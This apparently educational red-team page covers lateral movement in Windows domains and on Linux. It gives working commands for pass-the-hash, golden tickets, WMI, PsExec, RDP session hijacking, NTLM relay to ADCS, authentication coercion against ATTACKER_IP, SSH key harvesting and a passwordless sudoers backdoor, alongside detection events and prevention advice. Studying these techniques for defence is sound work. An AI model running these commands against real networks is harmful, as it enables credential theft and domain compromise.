Lateral Movement: Spreading Through the Network
One compromised workstation is just the beginning. Lateral movement is how attackers expand from a single foothold to full domain compromise. This is where credentials become weapons.
Lateral movement requires credentials—see Credential Access for extraction techniques. For AD-specific movement (Kerberos tickets, delegation attacks), see Active Directory Attacks. For network-layer attacks (LLMNR poisoning, SMB relay), see Wireless & Network Attacks.
From One Box to Everywhere
Initial access rarely lands you on the high-value target. You compromise a user's workstation, but you need the file server, the domain controller, the database. Lateral movement bridges that gap.
┌─────────────────────────────────────────────────────────────────────────────┐
│ LATERAL MOVEMENT PROGRESSION │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ Workstation │ ──► │ IT Admin │ ──► │ Domain │ │
│ │ (jsmith) │ │ Workstation │ │ Controller │ │
│ │ │ │ (dadmin) │ │ (DC01) │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │ │ │ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │
│ │ User creds │ │ Local admin │ │ Domain Admin│ │
│ │ only │ │ on servers │ │ NTDS.dit │ │
│ │ │ │ │ │ All creds │ │
│ └─────────────┘ └─────────────┘ └─────────────┘ │
│ │
│ PATH: Phish user → Steal their creds → Find admin sessions → │
│ Harvest admin creds → Move to servers → Reach DC │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
Pass-the-Hash (PtH)
In Windows authentication, the NTLM hash IS the credential. You don't need the plaintext password—the hash alone authenticates you. This is by design, and it's exploitable.
PASS-THE-HASH FLOW:
1. Extract NTLM hash from compromised system
└─► mimikatz sekurlsa::logonpasswords
└─► jsmith:a87f3a337d73085c45f9416be5787d86
2. Use hash to authenticate to another system
└─► No password cracking needed
└─► Hash is sent directly in NTLM authentication
3. If user has admin rights on target, you're admin there too
PtH with Mimikatz
# Pass-the-Hash to spawn cmd as another user
mimikatz # sekurlsa::pth /user:dadmin /domain:CORP /ntlm:a87f3a337d73085c45f9416be5787d86 /run:cmd.exe
# New cmd.exe window opens with dadmin's token
# Any network access from this shell uses dadmin's credentials
PtH with Impacket
# Remote command execution with hash
impacket-psexec -hashes :a87f3a337d73085c45f9416be5787d86 CORP/dadmin@10.0.0.50
# WMI execution
impacket-wmiexec -hashes :a87f3a337d73085c45f9416be5787d86 CORP/dadmin@10.0.0.50
# SMB execution
impacket-smbexec -hashes :a87f3a337d73085c45f9416be5787d86 CORP/dadmin@10.0.0.50
- Event ID 4624: Logon Type 3 (Network) with NTLM
- Same account authenticating from multiple workstations rapidly
- NTLM authentication where Kerberos would be expected
- Logon from IP that user has never used before
- Prevention: Credential Guard, disable NTLM where possible
Pass-the-Ticket (PtT)
Instead of hashes, use stolen Kerberos tickets. Tickets are proof of authentication— if you have someone's TGT (Ticket Granting Ticket), you ARE that user to Kerberos.
# Export tickets from memory
mimikatz # sekurlsa::tickets /export
# Tickets saved as .kirbi files
# Look for TGT (krbtgt) - most valuable
# Import ticket into current session
mimikatz # kerberos::ptt ticket.kirbi
# Now Kerberos authentication uses stolen ticket
# Any klist shows the imported ticket
Golden Ticket
If you have the KRBTGT hash (from NTDS.dit or DCSync), you can forge TGTs for ANY user, including non-existent users with any group membership you want.
# Create Golden Ticket (requires KRBTGT hash and domain SID)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local
/sid:S-1-5-21-1234567890-1234567890-1234567890
/krbtgt:a87f3a337d73085c45f9416be5787d86
/groups:512,513,518,519,520 /ptt
# Groups 512,519,etc = Domain Admins, Enterprise Admins
# User "FakeAdmin" now has domain admin rights
# Works even if the user doesn't exist!
Golden tickets remain valid until the KRBTGT password is changed twice (because AD keeps one previous password). Default KRBTGT password age is... never changed. Many organizations have the same KRBTGT hash for years.
WMI (Windows Management Instrumentation)
WMI is a legitimate Windows administration tool. It's also perfect for lateral movement— execute commands on remote systems without dropping files.
# WMI remote process creation
wmic /node:10.0.0.50 /user:dadmin /password:P@ssword process call create "powershell -enc JABjA..."
# PowerShell version
Invoke-WmiMethod -Class Win32_Process -Name Create `
-ArgumentList "powershell -enc JABjA..." `
-ComputerName 10.0.0.50 `
-Credential (Get-Credential)
# With impacket (uses hash)
impacket-wmiexec -hashes :a87f3a337d73085c45f9416be5787d86 CORP/dadmin@10.0.0.50
- Event ID 4688: WmiPrvSE.exe spawning processes
- Remote WMI connections (Event ID 5857 in WMI-Activity log)
- WmiPrvSE.exe spawning cmd.exe, powershell.exe
- Network connections to port 135 (RPC) followed by high ports
PowerShell Remoting (WinRM)
PowerShell Remoting is the modern way to manage Windows remotely. It's also incredibly useful for attackers—full PowerShell sessions on remote systems.
# Interactive remote session
Enter-PSSession -ComputerName 10.0.0.50 -Credential dadmin
# Execute command on remote system
Invoke-Command -ComputerName 10.0.0.50 -Credential dadmin -ScriptBlock {
whoami
hostname
Get-Process
}
# Execute on multiple systems simultaneously
Invoke-Command -ComputerName server1,server2,server3 -ScriptBlock {
# Commands run on all three at once
}
# With hash (requires additional tooling)
# evil-winrm supports hash authentication
evil-winrm -i 10.0.0.50 -u dadmin -H a87f3a337d73085c45f9416be5787d86
WinRM uses port 5985 (HTTP) or 5986 (HTTPS). If you see these ports open, PSRemoting is likely enabled.
PsExec and SMB-based Execution
PsExec (Sysinternals) was the original remote execution tool. It works by copying a service executable to the target and running it.
PSEXEC FLOW:
1. Connect to target's ADMIN$ share (\\target\ADMIN$)
2. Copy PSEXESVC.exe to target
3. Create and start a service to run PSEXESVC
4. Service connects back, provides remote shell
5. On exit, service is stopped and deleted
# Original Sysinternals PsExec
psexec \\10.0.0.50 -u dadmin -p P@ssword cmd.exe
# Impacket version (Linux, supports hash)
impacket-psexec -hashes :a87f3a337d73085c45f9416be5787d86 CORP/dadmin@10.0.0.50
# SMB-based variants
impacket-smbexec -hashes :hash CORP/dadmin@10.0.0.50 # Uses cmd.exe service
impacket-atexec -hashes :hash CORP/dadmin@10.0.0.50 # Uses scheduled task
- File creation in ADMIN$ share (PSEXESVC.exe or random names)
- Service creation/deletion (Event ID 7045, 7036)
- Named pipe creation (\\.\pipe\psexesvc)
- services.exe spawning cmd.exe
- Many EDRs specifically flag PsExec behavior
RDP Session Hijacking
If you have SYSTEM privileges on a server, you can hijack disconnected RDP sessions without knowing the user's password.
# List sessions on local system
query user
OUTPUT:
USERNAME SESSIONNAME ID STATE IDLE TIME
dadmin 2 Disc 1:30:05
sysadmin rdp-tcp#3 3 Active 0
# Hijack disconnected session (requires SYSTEM)
# Get SYSTEM first (psexec -s, mimikatz, etc)
tscon 2 /dest:console
# Or create a service to do it
sc create hijack binpath= "cmd.exe /k tscon 2 /dest:console"
sc start hijack
This lets you take over an admin's disconnected session. If a Domain Admin disconnected from a server instead of logging out, you can become them—no credentials needed.
SMB Relay Attacks
Instead of cracking captured hashes, relay them directly to another service. The victim's authentication is forwarded in real-time to a target system—no cracking required.
SMB relay uses legitimate Windows authentication. There's no malware, no exploit—just authentication traffic. This makes it extremely difficult to detect and highly effective on networks without SMB signing.
┌─────────────────────────────────────────────────────────────────────────────┐
│ SMB RELAY ATTACK FLOW │
├─────────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ VICTIM │ │ ATTACKER │ │ TARGET │ │
│ │ (User) │ │ (Relay) │ │ (Server) │ │
│ └────┬─────┘ └────┬─────┘ └────┬─────┘ │
│ │ │ │ │
│ │ 1. LLMNR/NBNS │ │ │
│ │ poisoning │ │ │
│ │ ◄─────────────────►│ │ │
│ │ │ │ │
│ │ 2. NTLM Auth │ 3. Forward auth │ │
│ │ request │ to target │ │
│ │ ─────────────────► │ ─────────────────► │ │
│ │ │ │ │
│ │ │ 4. Challenge │ │
│ │ 5. Challenge │ ◄───────────────── │ │
│ │ ◄───────────────── │ │ │
│ │ │ │ │
│ │ 6. Response │ 7. Response │ │
│ │ ─────────────────► │ ─────────────────► │ │
│ │ │ │ │
│ │ │ 8. AUTHENTICATED! │ │
│ │ │ ◄───────────────── │ │
│ │ │ │ │
│ VICTIM thinks they're │ Attacker now has │ │
│ connecting to server │ session on target │ │
│ │
│ REQUIREMENTS: │
│ • SMB signing disabled on target (default on workstations) │
│ • Victim has admin rights on target │
│ • Can't relay to same machine (since MS08-068) │
│ │
└─────────────────────────────────────────────────────────────────────────────┘
NTLM Relay with Impacket
# Step 1: Find targets without SMB signing
# Use CrackMapExec to scan
crackmapexec smb 192.168.1.0/24 --gen-relay-list targets.txt
# Or with Nmap
nmap -p445 --script smb-security-mode 192.168.1.0/24
# Step 2: Start ntlmrelayx
# Basic relay - dumps SAM hashes when admin connects
impacket-ntlmrelayx -tf targets.txt -smb2support
# Execute command on successful relay
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami > C:\pwned.txt"
# Get interactive shell
impacket-ntlmrelayx -tf targets.txt -smb2support -i
# Connect with: nc 127.0.0.1 11000
# Step 3: Trigger authentication (in another terminal)
# Using Responder (disable SMB/HTTP servers)
sudo responder -I eth0 -r -d -w
# Or coerce authentication with PetitPotam, PrinterBug, etc.
Authentication Coercion Techniques
Don't wait for victims to connect—force them to authenticate to you.
# PetitPotam - Coerce DC authentication (unauthenticated!)
python3 PetitPotam.py ATTACKER_IP DC_IP
# PrinterBug/SpoolSample - Requires valid domain creds
python3 printerbug.py domain/user:pass@DC_IP ATTACKER_IP
# DFSCoerce - Another coercion method
python3 dfscoerce.py -u user -p pass -d domain.local ATTACKER_IP DC_IP
# Combine with ntlmrelayx for instant domain admin:
# 1. Relay DC auth to ADCS (AD Certificate Services)
# 2. Request certificate as DC
# 3. Use certificate for authentication
impacket-ntlmrelayx -t https://CA_SERVER/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
If ADCS web enrollment is enabled, relay DC authentication to request a certificate. That certificate can then be used to authenticate as the DC and perform DCSync. This path goes from zero credentials to domain admin in seconds.
Detection: SMB Relay
- Event ID 4624: Logon from unexpected source IP
- Network monitoring: Same NTLM auth going to multiple destinations
- Unusual timing: Auth to server immediately after DNS/LLMNR query
- Prevention: Enable SMB signing (required on DCs, optional elsewhere)
- Prevention: Disable NTLM, require Kerberos only
- Prevention: Enable EPA (Extended Protection for Authentication)
SSH and Linux Lateral Movement
Linux environments use SSH. Attackers look for SSH keys, agent forwarding, and sudo access.
# Look for SSH keys
find / -name "id_rsa" -o -name "id_ed25519" 2>/dev/null
cat ~/.ssh/id_rsa
# Check SSH config for other hosts
cat ~/.ssh/config
cat ~/.ssh/known_hosts
# If SSH agent is running (forwarded from attacker's session)
ssh-add -l
# If keys are loaded, can SSH as that user to other systems
# Check sudo access
sudo -l
# Common privesc: sudo without password
echo $USER ALL=(ALL) NOPASSWD:ALL | sudo tee /etc/sudoers.d/$USER
Technique Comparison
| Technique | Ports | Requirements | Artifacts | Stealth |
|---|---|---|---|---|
| Pass-the-Hash | Varies (445, etc.) | Valid NTLM hash | NTLM auth logs | Medium |
| WMI | 135 + high ports | Admin creds/hash | WmiPrvSE process spawn | High |
| PSRemoting | 5985/5986 | Admin creds | WinRM logs, wsmprovhost.exe | Medium |
| PsExec | 445 | Admin creds/hash | Service creation, ADMIN$ access | Low |
| RDP | 3389 | Valid creds or SYSTEM | RDP logs, interactive session | Very Low |
| SMB | 445 | Admin creds/hash | File copies, share access | Medium |
| SMB Relay | 445 | LLMNR/NBNS poisoning position | No file drops, legitimate auth traffic | Very High |